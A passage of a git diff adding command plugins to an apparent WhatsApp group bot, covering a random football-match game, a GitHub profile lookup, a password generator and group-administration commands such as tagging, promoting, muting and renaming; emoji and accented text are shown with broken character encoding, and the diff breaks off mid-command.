pattern: "konami", + desc: "Simulate a match between two teams and choose a winner randomly after 30 seconds.", + category: "game", + react: "โšฝ", + filename: __filename, + use: ".konami" +}, async (conn, mek, m, { from, sender, reply }) => { + try { + // Liste รฉtendue des clubs et รฉquipes internationales avec leurs emojis + const teams = [ + "Real Madrid ๐Ÿ‡ช๐Ÿ‡ธ", + "FC Barcelone ๐Ÿ‡ช๐Ÿ‡ธ", + "Manchester United ๐Ÿ‡ฌ๐Ÿ‡ง", + "Liverpool FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "Bayern Munich ๐Ÿ‡ฉ๐Ÿ‡ช", + "Juventus ๐Ÿ‡ฎ๐Ÿ‡น", + "Paris Saint-Germain ๐Ÿ‡ซ๐Ÿ‡ท", + "Arsenal FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "AC Milan ๐Ÿ‡ฎ๐Ÿ‡น", + "Inter Milan ๐Ÿ‡ฎ๐Ÿ‡น", + "Chelsea FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "Borussia Dortmund ๐Ÿ‡ฉ๐Ÿ‡ช", + "Cameroun ๐Ÿ‡จ๐Ÿ‡ฒ", + "Cรดte D'Ivoire ๐Ÿ‡จ๐Ÿ‡ฎ", + "Tottenham Hotspur ๐Ÿ‡ฌ๐Ÿ‡ง", + "Sรฉnรฉgal ๐Ÿ‡ธ๐Ÿ‡ณ", + "RDC ๐Ÿ‡จ๐Ÿ‡ฉ", + "Congo ๐Ÿ‡จ๐Ÿ‡ฌ", + "Ajax Amsterdam ๐Ÿ‡ณ๐Ÿ‡ฑ", + "FC Porto ๐Ÿ‡ต๐Ÿ‡น", + "SL Benfica ๐Ÿ‡ต๐Ÿ‡น", + "Olympique Lyonnais ๐Ÿ‡ซ๐Ÿ‡ท", + "Olympique de Marseille ๐Ÿ‡ซ๐Ÿ‡ท", + "AS Monaco ๐Ÿ‡ซ๐Ÿ‡ท", + "Sporting CP ๐Ÿ‡ต๐Ÿ‡น", + "Everton FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "West Ham United ๐Ÿ‡ฌ๐Ÿ‡ง", + "Atletico Madrid ๐Ÿ‡ช๐Ÿ‡ธ", + "AS Roma ๐Ÿ‡ฎ๐Ÿ‡น", + "Fiorentina ๐Ÿ‡ฎ๐Ÿ‡น", + "Napoli ๐Ÿ‡ฎ๐Ÿ‡น", + "Celtic FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "Rangers FC ๐Ÿ‡ฌ๐Ÿ‡ง", + "Feyenoord ๐Ÿ‡ณ๐Ÿ‡ฑ", + "PSV Eindhoven ๐Ÿ‡ณ๐Ÿ‡ฑ", + "Brazil ๐Ÿ‡ง๐Ÿ‡ท", + "Germany ๐Ÿ‡ฉ๐Ÿ‡ช", + "Argentina ๐Ÿ‡ฆ๐Ÿ‡ท", + "France ๐Ÿ‡ซ๐Ÿ‡ท", + "Spain ๐Ÿ‡ช๐Ÿ‡ธ", + "Italy ๐Ÿ‡ฎ๐Ÿ‡น", + "England ๐Ÿด", + "Portugal ๐Ÿ‡ต๐Ÿ‡น", + "Netherlands ๐Ÿ‡ณ๐Ÿ‡ฑ", + "Belgium ๐Ÿ‡ง๐Ÿ‡ช", + "Mexico ๐Ÿ‡ฒ๐Ÿ‡ฝ", + "Uruguay ๐Ÿ‡บ๐Ÿ‡พ", + "USA ๐Ÿ‡บ๐Ÿ‡ธ" + // Ajoutez d'autres รฉquipes si nรฉcessaire + ]; + + // Sรฉlection alรฉatoire de deux รฉquipes diffรฉrentes + const team1 = teams[Math.floor(Math.random() * teams.length)]; + let team2 = teams[Math.floor(Math.random() * teams.length)]; + while (team2 === team1) { + team2 = teams[Math.floor(Math.random() * teams.length)]; + } + + // Annonce du match versus + const announcement = `โšฝ *Match Versus*\n\n${team1} ๐Ÿ†š ${team2}\n\n@${sender.split("@")[0]}, choisis le gagnant ! Tu as 30 secondes pour rรฉflรฉchir.`; + await reply(announcement, { mentions: [sender] }); + + // Attendre 30 secondes + await new Promise(resolve => setTimeout(resolve, 30000)); + + // Choix alรฉatoire du gagnant parmi les deux รฉquipes + const chosenTeam = Math.random() < 0.5 ? team1 : team2; + + // Message final annonรงant le gagnant + const resultMessage = `๐Ÿ† *Rรฉsultat du Match*\n\nLe gagnant est : ${chosenTeam}๐Ÿฅณ\n\n> Ici le resultat๐Ÿ˜Ž @${sender.split("@")[0]} !`; + await reply(resultMessage, { mentions: [sender] }); + } catch (error) { + console.error("Error in konami command:", error); + reply("โŒ Une erreur est survenue lors de l'exรฉcution de la commande konami."); + } +}); diff --git a/plugins/git-zip.js b/plugins/git-zip.js new file mode 100644 index 0000000000000000000000000000000000000000..e69de29bb2d1d6434b8b29ae775ad8c2e48c5391 diff --git a/plugins/gitstalk.js b/plugins/gitstalk.js new file mode 100644 index 0000000000000000000000000000000000000000..a1f93af4e35264239c90fc1b98d73b3694dfe218 --- /dev/null +++ b/plugins/gitstalk.js @@ -0,0 +1,51 @@ + + +const axios = require('axios'); +const config = require('../config'); +const { cmd, commands } = require('../command'); + +cmd({ + pattern: "github", + desc: "Fetch detailed GitHub user profile including profile picture.", + category: "other", + react: "๐Ÿ“š", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const username = args[0]; + if (!username) { + return reply("Please provide a GitHub username."); + } + + const apiUrl = `https://api.github.com/users/${username}`; + const response = await axios.get(apiUrl); + const data = response.data; + + let userInfo = ` *ALI-MD-V1 GITSTALK* + +๐Ÿ‘ค *แดœ๊œฑแด‡ส€ ษดแด€แดแด‡*: ${data.name || data.login} + +๐Ÿ”— *ษขษชแด›สœแดœส™ แดœส€สŸ*:(${data.html_url}) + +๐Ÿ“ *ส™ษชแด*: ${data.bio || 'Not available'} + +๐Ÿ™๏ธ *สŸแดแด„แด€แด›ษชแดษด*: ${data.location || 'Unknown'} + +๐Ÿ“Š *แด˜แดœส™สŸษชแด„ ส€แด‡แด˜แด*: ${data.public_repos} + +๐Ÿ‘ฅ *๊œฐแดสŸสŸแดแดกแด‡ส€๊œฑ*: ${data.followers} | Following: ${data.following} + +๐Ÿ“… *แด„ส€แด‡แด€แด›ส€แด… แด…แด€แด›แด‡*: ${new Date(data.created_at).toDateString()} + +๐Ÿ”ญ *แด˜แดœส™สŸษชแด„ ษขษช๊œฑแด›๊œฑ*: ${data.public_gists} + +*แดแด€แด…แด‡ ส™ส แด€สŸษช-แดแด…* +`; + + await conn.sendMessage(from, { image: { url: data.avatar_url }, caption: userInfo }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`Error fetching data๐Ÿค•: ${e.response ? e.response.data.message : e.message}`); + } +}); diff --git a/plugins/gpass.js b/plugins/gpass.js new file mode 100644 index 0000000000000000000000000000000000000000..c2f1240afdf64b8f0aa56260f4240e7deebb799b --- /dev/null +++ b/plugins/gpass.js @@ -0,0 +1,42 @@ + + +const crypto = require('crypto'); +const { cmd } = require('../command'); + +cmd({ + pattern: "gpass", + desc: "Generate a strong password.", + category: "other", + react: "๐Ÿ”", + filename: __filename +}, +async (conn, mek, m, { from, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isAdmins, reply }) => { + try { + const length = args[0] ? parseInt(args[0]) : 12; // Default length is 12 if not provided + if (isNaN(length) || length < 8) { + return reply('Please provide a valid length for the password (Minimum 08 Characters๐Ÿ’ฆ).'); + } + + const generatePassword = (len) => { + const charset = 'abcdefghijklmnopqrstuvwxyzABCDEFGHIJKLMNOPQRSTUVWXYZ0123456789!@#$%^&*()_+[]{}|;:,.<>?'; + let password = ''; + for (let i = 0; i < len; i++) { + const randomIndex = crypto.randomInt(0, charset.length); + password += charset[randomIndex]; + } + return password; + }; + + const password = generatePassword(length); + const message = `๐Ÿ” *Your Strong Password* ๐Ÿ”\n\nPlease find your generated password below:\n\n *BY ALI-MD*`; + + // Send initial notification message + await conn.sendMessage(from, { text: message }, { quoted: mek }); + + // Send the password in a separate message + await conn.sendMessage(from, { text: password }, { quoted: mek }); + } catch (e) { + console.log(e); + reply(`โŒ Error generating password๐Ÿค•: ${e.message}`); + } +}); diff --git a/plugins/group-setting.js b/plugins/group-setting.js new file mode 100644 index 0000000000000000000000000000000000000000..452590b1cf2e2b22a35fb851480e199cc7eb69c1 --- /dev/null +++ b/plugins/group-setting.js @@ -0,0 +1,562 @@ +const config = require('../config') +const { cmd, commands } = require('../command') +const { getBuffer, getGroupAdmins, getRandom, h2k, isUrl, Json, runtime, sleep, fetchJson} = require('../lib/functions') + +cmd({ + pattern: "join", + react: "๐Ÿ“ฌ", + alias: ["joinme","f_join"], + desc: "To Join a Group from Invite link", + category: "group", + use: '.join < Group Link >', + filename: __filename +}, +async(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isCreator ,isDev, isAdmins, reply}) => { +try{ +const msr = (await fetchJson('https://raw.githubusercontent.com/JawadYTX/KHAN-DATA/refs/heads/main/MSG/mreply.json')).replyMsg + +if (!isCreator && !isDev && !isOwner && !isMe) return reply(msr.own_cmd) +if (!q) return reply("*Please write the Group Link ๐Ÿ–‡๏ธ*") + let result = args[0].split('https://chat.whatsapp.com/')[1] + await conn.groupAcceptInvite(result) + await conn.sendMessage(from , { text: `*Successfully Joined โœ…*`}, { quoted: mek } ) +} catch (e) { +await conn.sendMessage(from, { react: { text: 'โŒ', key: mek.key } }) +console.log(e) +reply(`โŒ *Error Accurated !!*\n\n${e}`) +} +} ) + +cmd({ + pattern: "tagadmins", + react: "๐Ÿ‘‘", + alias: ["admin" ,"admin","tagadmin"], + desc: "To Tag all Admins of the Group", + category: "group", + use: '.tagadmins [message]', + filename: __filename +}, +async (conn, mek, m, { from, participants, reply, isGroup, senderNumber, groupAdmins, prefix, command, args, body }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + + const botOwner = conn.user.id.split(":")[0]; // Extract bot owner's number + const senderJid = senderNumber + "@s.whatsapp.net"; + + // Ensure group metadata is fetched properly + let groupInfo = await conn.groupMetadata(from).catch(() => null); + if (!groupInfo) return reply("โŒ Failed to fetch group information."); + + let groupName = groupInfo.subject || "Unknown Group"; + let admins = await getGroupAdmins(participants); + let totalAdmins = admins ? admins.length : 0; + if (totalAdmins === 0) return reply("โŒ No admins found in this group."); + + let emojis = ['โšก', 'โœจ', '๐ŸŽ–๏ธ', '๐Ÿ’Ž', '๐Ÿ”ฑ', '๐Ÿ’—', 'โคโ€๐Ÿฉน', '๐Ÿ‘ป', '๐ŸŒŸ', '๐Ÿช„', '๐ŸŽ‹', '๐Ÿชผ', '๐Ÿฟ', '๐Ÿ‘€', '๐Ÿ‘‘', '๐Ÿฆ‹', '๐Ÿ‹', '๐ŸŒป', '๐ŸŒธ', '๐Ÿ”ฅ', '๐Ÿ‰', '๐Ÿง', '๐Ÿจ', '๐Ÿฆ', '๐Ÿงƒ', '๐Ÿช€', '๐ŸŽพ', '๐Ÿช‡', '๐ŸŽฒ', '๐ŸŽก', '๐Ÿงธ', '๐ŸŽ€', '๐ŸŽˆ', '๐Ÿฉต', 'โ™ฅ๏ธ', '๐Ÿšฉ' , '๐Ÿณ๏ธโ€๐ŸŒˆ', '๐Ÿ”ช', '๐ŸŽ', '๐Ÿซ', '๐Ÿ“', '๐Ÿ‡', '๐Ÿ', '๐Ÿชป', '๐Ÿชธ', '๐Ÿ’€']; + let randomEmoji = emojis[Math.floor(Math.random() * emojis.length)]; + + // Proper message extraction + let message = body.slice(body.indexOf(command) + command.length).trim(); + if (!message) message = "ATTENTION ADMINS"; // Default message + + let teks = `*โ–ข GROUP : ${groupName}*\n*โ–ข ADMINS : ${totalAdmins}*\n*โ–ข MESSAGE: ${message}*\n\nโ€Ž*โ•ญโ”€โ”€โ”€โใ€Œ ADMINS MENTION ใ€โ*\n`; + + for (let admin of admins) { + if (!admin) continue; // Prevent undefined errors + teks += `*โ”‚${randomEmoji} แฉง๐†ผเพ€เฝฒ* @${admin.split('@')[0]}\n`; + } + + // teks += "โ””โ”€โ”€โœช ALI โ”ƒ MD โœชโ”€โ”€"; + + conn.sendMessage(from, { text: teks, mentions: admins }, { quoted: mek }); + + } catch (e) { + console.error("TagAdmins Error:", e); + reply(`โŒ *Error Occurred !!*\n\n${e.message || e}`); + } +}); + +cmd({ + pattern: "invite", + react: "๐Ÿ–‡๏ธ", + alias: ["grouplink","glink"], + desc: "To Get the Group Invite link", + category: "group", + use: '.invite', + filename: __filename +}, +async(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isCreator ,isDev, isAdmins, reply}) => { +try{ +const msr = (await fetchJson('https://raw.githubusercontent.com/JawadYTX/KHAN-DATA/refs/heads/main/MSG/mreply.json')).replyMsg + +if (!isGroup) return reply(msr.only_gp) +if (!isAdmins) { if (!isDev) return reply(msr.you_adm),{quoted:mek }} +if (!isBotAdmins) return reply(msr.give_adm) +const code = await conn.groupInviteCode(from) + + await conn.sendMessage(from , { text: `*๐Ÿ–‡๏ธ Group Link*\n\nhttps://chat.whatsapp.com/${code}`}, { quoted: mek } ) +} catch (e) { +await conn.sendMessage(from, { react: { text: 'โŒ', key: mek.key } }) +console.log(e) +reply(`โŒ *Error Accurated !!*\n\n${e}`) +} +} ) + +cmd({ + pattern: "revoke", + react: "๐Ÿ–‡๏ธ", + alias: ["revokegrouplink","resetglink","revokelink","f_revoke"], + desc: "To Reset the group link", + category: "group", + use: '.revoke', + filename: __filename +}, +async(conn, mek, m,{from, l, quoted, body, isCmd, command, args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isCreator ,isDev, isAdmins, reply}) => { +try{ +const msr = (await fetchJson('https://raw.githubusercontent.com/JawadYTX/KHAN-DATA/refs/heads/main/MSG/mreply.json')).replyMsg + +if (!isGroup) return reply(msr.only_gp) +if (!isAdmins) { if (!isDev) return reply(msr.you_adm),{quoted:mek }} +if (!isBotAdmins) return reply(msr.give_adm) +await conn.groupRevokeInvite(from) + await conn.sendMessage(from , { text: `*Group link Reseted* โ›”`}, { quoted: mek } ) +} catch (e) { +await conn.sendMessage(from, { react: { text: 'โŒ', key: mek.key } }) +console.log(e) +reply(`โŒ *Error Accurated !!*\n\n${e}`) +} +} ) + +cmd({ + pattern: "promote", + react: "๐Ÿฅ", + alias: ["addadmin"], + desc: "Promote a user to admin.", + category: "group", + filename: __filename +}, async (conn, mek, m, { + from, + quoted, + isGroup, + isAdmins, + isOwner, + participants, + isBotAdmins, + reply +}) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins && !isOwner) return reply("โŒ Only group admins or the owner can use this command."); + if (!isBotAdmins) return reply("โŒ I need admin privileges to promote members."); + + // โžก๏ธ Dรฉtecter le participant ร  promouvoir (en rรฉponse ou mention) + let target; + if (m.quoted) { + target = m.quoted.sender; + } else if (m.mentionedJid && m.mentionedJid.length > 0) { + target = m.mentionedJid[0]; + } else if (m.msg && m.msg.contextInfo && m.msg.contextInfo.mentionedJid && m.msg.contextInfo.mentionedJid.length > 0) { + target = m.msg.contextInfo.mentionedJid[0]; + } + + if (!target) return reply("โŒ Please mention or reply to a user to promote."); + + // โžก๏ธ Vรฉrifier si l'utilisateur est dรฉjร  admin + const isAlreadyAdmin = participants.some(p => p.id === target && p.admin !== null); + if (isAlreadyAdmin) return reply("โ— User is already an admin."); + + // โžก๏ธ Promouvoir le participant + await conn.groupParticipantsUpdate(from, [target], "promote") + .catch(err => { + console.error(`โš ๏ธ Failed to promote ${target}:`, err); + return reply("โŒ An error occurred while promoting the participant."); + }); + + // โžก๏ธ Extraire le tag ร  partir du JID + const tag = target.split('@')[0]; + reply(`*_@${tag} Promoted Successfully_*`, { mentions: [target] }); + + } catch (error) { + console.error('Error while executing promote:', error); + reply('โŒ An error occurred while executing the command.'); + } +}); + +cmd({ + pattern: "demote", + react: "๐Ÿฅ", + alias: ["removeadmin"], + desc: "Demote a user from admin.", + category: "group", + filename: __filename +}, async (conn, mek, m, { + from, + quoted, + isGroup, + isAdmins, + isOwner, + participants, + isBotAdmins, + reply +}) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins && !isOwner) return reply("โŒ Only group admins or the owner can use this command."); + if (!isBotAdmins) return reply("โŒ I need admin privileges to demote members."); + + // โžก๏ธ Dรฉtecter le participant ร  rรฉtrograder (en rรฉponse ou mention) + let target; + if (m.quoted) { + target = m.quoted.sender; + } else if (m.mentionedJid && m.mentionedJid.length > 0) { + target = m.mentionedJid[0]; + } else if (m.msg && m.msg.contextInfo && m.msg.contextInfo.mentionedJid && m.msg.contextInfo.mentionedJid.length > 0) { + target = m.msg.contextInfo.mentionedJid[0]; + } + + if (!target) return reply("โŒ Please mention or reply to a user to demote."); + + // โžก๏ธ Vรฉrifier si l'utilisateur est bien admin + const isAdmin = participants.some(p => p.id === target && p.admin !== null); + if (!isAdmin) return reply("โ— User is not an admin."); + + // โžก๏ธ Rรฉtrograder le participant + await conn.groupParticipantsUpdate(from, [target], "demote") + .catch(err => { + console.error(`โš ๏ธ Failed to demote ${target}:`, err); + return reply("โŒ An error occurred while demoting the participant."); + }); + + // โžก๏ธ Extraire le tag ร  partir du JID + const tag = target.split('@')[0]; + reply(`*_@${tag} Demoted Successfully_*`, { mentions: [target] }); + + } catch (error) { + console.error('Error while executing demote:', error); + reply('โŒ An error occurred while executing the command.'); + } +}); + + +cmd({ + pattern: "taggp", + react: "๐Ÿ”Š", + alias: ["tggp","djtaggp"], + desc: "To Tag all Members for Message", + category: "group", + use: '.tag Hi', + filename: __filename +}, +async(conn, mek, m,{from, l, quoted, body, isCmd, command, mentionByTag , args, q, isGroup, sender, senderNumber, botNumber2, botNumber, pushname, isMe, isOwner, groupMetadata, groupName, participants, groupAdmins, isBotAdmins, isCreator ,isDev, isAdmins, reply}) => { +try{ + if ( !m.quoted ) return reply('*Please mention a message* โ„น๏ธ') + if(!q) return reply('*Please add a Group Jid* โ„น๏ธ') + //if ( q == "120363174739054837@g.us" ) { if ( !isDev ) return reply("โŒ *Acai wage ! You can send Tag messages to Official Support Group*") } + let teks = `${m.quoted.msg}` + conn.sendMessage(q, { text: teks, mentions: participants.map(a => a.id) }, { quoted: mek }) + +} catch (e) { +await conn.sendMessage(from, { react: { text: 'โŒ', key: mek.key } }) +console.log(e) +reply(`โŒ *Error Accurated !!*\n\n${e}`) +} +} ) + +cmd({ + pattern: "gginfo", + desc: "Get group information.", + category: "group", + filename: __filename, +}, async (conn, mek, m, { + from, + isGroup, + isAdmins, + isOwner, + isBotAdmins, + reply +}) => { + try { + // Ensure the command is used in a group + if (!isGroup) return reply("*`[โŒ]`This command can only be used in groups.*"); + + // Only admins or the owner can use this command + if (!isAdmins && !isOwner) return reply("*`[โŒ]`Only admins and the owner can use this command.*"); + + // Ensure the bot has admin privileges + if (!isBotAdmins) return reply("*`[โŒ]`I need admin privileges to execute this command.*"); + + // Get group metadata + const groupMetadata = await conn.groupMetadata(from); + const groupName = groupMetadata.subject; + const memberCount = groupMetadata.participants.length; + + // Get group creator + let creator = groupMetadata.owner ? `@${groupMetadata.owner.split('@')[0]}` : 'Unknown'; + + // Get list of admins + const groupAdmins = groupMetadata.participants + .filter(member => member.admin) + .map((admin, index) => `${index + 1}. @${admin.id.split('@')[0]}`) + .join("\n") || "No admins found"; + + // Get creation date (convert from timestamp) + const creationDate = groupMetadata.creation + ? new Date(groupMetadata.creation * 1000).toLocaleString('en-US', { + weekday: 'long', year: 'numeric', month: 'long', day: 'numeric', hour: '2-digit', minute: '2-digit' + }) + : 'Unknown'; + + // Format the output message + const message = ` +โ•ญโ”€โ”€โ”€โ”€ใ€Œ *GROUP INFO* ใ€โ”€โ”€โ”€โ”€โ—† +โ”‚ ๐Ÿท๏ธ *ษขส€แดแดœแด˜ ษดแด€แดแด‡:* ${groupName} +โ”‚ ๐Ÿ†” *ษขส€แดแดœแด˜ ษชแด…:* ${from} +โ”‚ ๐Ÿ‘ฅ *แด›แดแด›แด€สŸ แดแด‡แดส™แด‡ส€s:* ${memberCount} +โ”‚ ๐Ÿ‘จ๐Ÿปโ€๐Ÿ’ป *แด„ส€แด‡แด€แด›แดส€:* ${creator} +โ”‚ ๐Ÿ“… *แด„ส€แด‡แด€แด›แด‡แด… แดษด:* ${creationDate} +โ”‚ ๐Ÿ‘‘ *แด€แด…แดษชษดs:* +โ”‚ ${groupAdmins} +โ•ฐโ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ”€โ—†`; + + // Send the group information with mentions + await conn.sendMessage(from, { + text: message, + mentions: groupMetadata.participants + .filter(member => member.admin) + .map(admin => admin.id) + }, { quoted: mek }); + + } catch (error) { + console.error("Error in ginfo command:", error); + reply("โŒ An error occurred while retrieving the group information."); + } +}); + +cmd({ + pattern: "tagall", + react: "๐Ÿ“‘", + alias: ["gc_tagall"], + desc: "To Tag all Members", + category: "group", + use: '.tagall [message]', + filename: __filename +}, +async (conn, mek, m, { from, participants, reply, isGroup, senderNumber, groupAdmins, prefix, command, args, body }) => { + try { + if (!isGroup) return reply("*๐Ÿ“› แด›สœษชs แด„แดแดแดแด€ษดแด… แด„แด€ษด แดษดสŸส ส™แด‡ แดœsแด‡แด… ษชษด ษขส€แดแดœแด˜s.*"); + + const botOwner = conn.user.id.split(":")[0]; // Extract bot owner's number + const senderJid = senderNumber + "@s.whatsapp.net"; + + if (!groupAdmins.includes(senderJid) && senderNumber !== botOwner) { + return reply("*๐Ÿ“› ฯƒษดโ„“ส gส€ฯƒแดœแด˜ ฮฑโˆ‚ะผฮนษดs ฯƒส€ ั‚ะฝั” ฯƒฯ‰ษดั”ส€ แด„ฮฑษด แดœsั” ั‚ะฝฮนั• แด„ฯƒะผะผฮฑษดโˆ‚.*"); + } + + // Ensure group metadata is fetched properly + let groupInfo = await conn.groupMetadata(from).catch(() => null); + if (!groupInfo) return reply("โŒ Failed to fetch group information."); + + let groupName = groupInfo.subject || "Unknown Group"; + let totalMembers = participants ? participants.length : 0; + if (totalMembers === 0) return reply("โŒ No members found in this group."); + + let emojis = ['โšก', 'โœจ', '๐ŸŽ–๏ธ', '๐Ÿ’Ž', '๐Ÿ”ฑ', '๐Ÿ’—', 'โคโ€๐Ÿฉน', '๐Ÿ‘ป', '๐ŸŒŸ', '๐Ÿช„', '๐ŸŽ‹', '๐Ÿชผ', '๐Ÿฟ', '๐Ÿ‘€', '๐Ÿ‘‘', '๐Ÿฆ‹', '๐Ÿ‹', '๐ŸŒป', '๐ŸŒธ', '๐Ÿ”ฅ', '๐Ÿ‰', '๐Ÿง', '๐Ÿจ', '๐Ÿฆ', '๐Ÿงƒ', '๐Ÿช€', '๐ŸŽพ', '๐Ÿช‡', '๐ŸŽฒ', '๐ŸŽก', '๐Ÿงธ', '๐ŸŽ€', '๐ŸŽˆ', '๐Ÿฉต', 'โ™ฅ๏ธ', '๐Ÿšฉ' , '๐Ÿณ๏ธโ€๐ŸŒˆ', '๐Ÿ”ช', '๐ŸŽ', '๐Ÿซ', '๐Ÿ“', '๐Ÿ‡', '๐Ÿ', '๐Ÿชป', '๐Ÿชธ', '๐Ÿ’€']; + let randomEmoji = emojis[Math.floor(Math.random() * emojis.length)]; + + // Proper message extraction + let message = body.slice(body.indexOf(command) + command.length).trim(); + if (!message) message = "ATTENTION EVERYONE"; // Default message + + let teks = `*โ–ข GROUP : ${groupName}*\n*โ–ข MEMBERS : ${totalMembers}*\n*โ–ข MESSAGE : ${message}*\n\n*โ•ญโ”ˆโ”€ใ€Œ \`๐“†ฉแ€ฏแชณ๐Œ๐„๐๐“๐ˆ๐Ž๐๐’แ€พแชณ๐“†ช\` ใ€โ”ˆโ*\n`; + + for (let mem of participants) { + if (!mem.id) continue; // Prevent undefined errors + teks += `*โ”‚${randomEmoji} แฉง๐†ผเพ€เฝฒ* @${mem.id.split('@')[0]}\n`; + } + + conn.sendMessage(from, { text: teks, mentions: participants.map(a => a.id) }, { quoted: mek }); + + } catch (e) { + console.error("TagAll Error:", e); + reply(`โŒ *Error Occurred !!*\n\n${e.message || e}`); + } +}); + +cmd({ + pattern: "add", + alias: ["aja"], + react: "โž•", + desc: "Adds a user to the group.", + category: "group", + filename: __filename, + use: '', +}, +async (conn, mek, m, { from, args, q, isGroup, senderNumber, botNumber, reply }) => { + try { + if (!isGroup) return reply("*๐Ÿ“› This command can only be used in groups.*"); + + // Extract bot owner's number + const botOwner = conn.user.id.split(":")[0]; + + // Restrict command usage to the bot owner only + if (senderNumber !== botOwner) { + return reply("*๐Ÿ“› Only the bot owner can use this command.*"); + } + + // Ensure the bot is an admin + if (!isBotAdmins) return reply("*๐Ÿ“› I need to be an admin to add users.*"); + + // Validate user input + if (!q || isNaN(q)) return reply("*๐Ÿ“› Please provide a valid phone number to add.*"); + + const userToAdd = `${q}@s.whatsapp.net`; + + // Attempt to add the user to the group + let response = await conn.groupParticipantsUpdate(from, [userToAdd], "add"); + + // Check if the user was successfully added + if (response[0].status === 200) { + reply(`โœ… User *${q}* has been added to the group.`); + } else { + reply("โŒ Failed to add user. Make sure the number is correct and they are not already in the group."); + } + } catch (e) { + console.error("Error adding user:", e); + reply("โŒ An error occurred while adding the user. Please try again."); + } +}); + +cmd({ + pattern: "updategdesc", + alias: ["upgdesc", "gdesc"], + react: "๐Ÿ“œ", + desc: "Change the group description.", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, isAdmins, isBotAdmins, args, q, reply }) => { + try { + if (!isGroup) return reply("*๐Ÿ“› This command can only be used in groups.*"); + if (!isAdmins) return reply("*โŒ Only group admins can use this command.*"); + if (!isBotAdmins) return reply("โŒ I need to be an admin to update the group description."); + if (!q) return reply("*โŒ Please provide a new group description.*"); + + await conn.groupUpdateDescription(from, q); + reply("*โœ… Group description has been updated.*"); + } catch (e) { + console.error("Error updating group description:", e); + reply("โŒ Failed to update the group description. Please try again."); + } +}); + +cmd({ + pattern: "updategname", + alias: ["upgname", "gname"], + react: "๐Ÿ“", + desc: "Change the group name.", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, isAdmins, isBotAdmins, args, q, reply }) => { + try { + if (!isGroup) return reply("*๐Ÿ“› This command can only be used in groups.*"); + if (!isAdmins) return reply("โŒ Only group admins can use this command."); + if (!isBotAdmins) return reply("*๐Ÿ“› I need to be an admin to update the group name.*"); + if (!q) return reply("*โ‰๏ธ Please provide a new group name.*"); + + await conn.groupUpdateSubject(from, q); + reply(`โœ… Group name has been updated to: *${q}*`); + } catch (e) { + console.error("Error updating group name:", e); + reply("โŒ Failed to update the group name. Please try again."); + } +}); + + +cmd({ + pattern: "lockgc", + alias: ["lock"], + react: "๐Ÿ”’", + desc: "Lock the group (Prevents new members from joining).", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, isAdmins, isBotAdmins, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins) return reply("*๐Ÿ“› Only group admins can use this command.*"); + if (!isBotAdmins) return reply("*๐Ÿ“› I need to be an admin to lock the group.*"); + + await conn.groupSettingUpdate(from, "locked"); + reply("*โœ… Group has been locked. New members cannot join.*"); + } catch (e) { + console.error("Error locking group:", e); + reply("โŒ Failed to lock the group. Please try again."); + } +}); + +cmd({ + pattern: "mute", + alias: ["groupmute"], + react: "๐Ÿ”‡", + desc: "Mute the group (Only admins can send messages).", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, senderNumber, isAdmins, isBotAdmins, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins) return reply("*๐Ÿ“› แดษดสŸส ษขส€แดแดœแด˜ แด€แด…แดษชษดs แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด….*"); + if (!isBotAdmins) return reply("*๐Ÿ“› ษดแด‡แด‡แด… แด›แด ส™แด‡ แด€ษด แด€แด…แดษชษด แด›แด แดœษดแดแดœแด›แด‡ แด›สœแด‡ ษขส€แดแดœแด˜*"); + + await conn.groupSettingUpdate(from, "announcement"); + reply("*gส€ฯƒแดœฯ ะผแดœั‚ั”โˆ‚ sแดœแด„แด„ั”ั•ั•fแดœโ„“โ„“ัƒ๐Ÿ”*"); + } catch (e) { + console.error("Error muting group:", e); + reply("โŒ Failed to mute the group. Please try again."); + } +}); + +cmd({ + pattern: "unmute", + alias: ["groupunmute"], + react: "๐Ÿ”Š", + desc: "Unmute the group (Everyone can send messages).", + category: "group", + filename: __filename +}, +async (conn, mek, m, { from, isGroup, senderNumber, isAdmins, isBotAdmins, reply }) => { + try { + if (!isGroup) return reply("โŒ This command can only be used in groups."); + if (!isAdmins) return reply("*๐Ÿ“› แดษดสŸส ษขส€แดแดœแด˜ แด€แด…แดษชษดs แด„แด€ษด แดœsแด‡ แด›สœษชs แด„แดแดแดแด€ษดแด….*"); + if (!isBotAdmins) return reply("*๐Ÿ“› ษดแด‡แด‡แด… แด›แด ส™แด‡ แด€ษด แด€แด…แดษชษด แด›แด แดœษดแดแดœแด›แด‡ แด›สœแด‡ ษขส€แดแดœแด˜*"); + + await 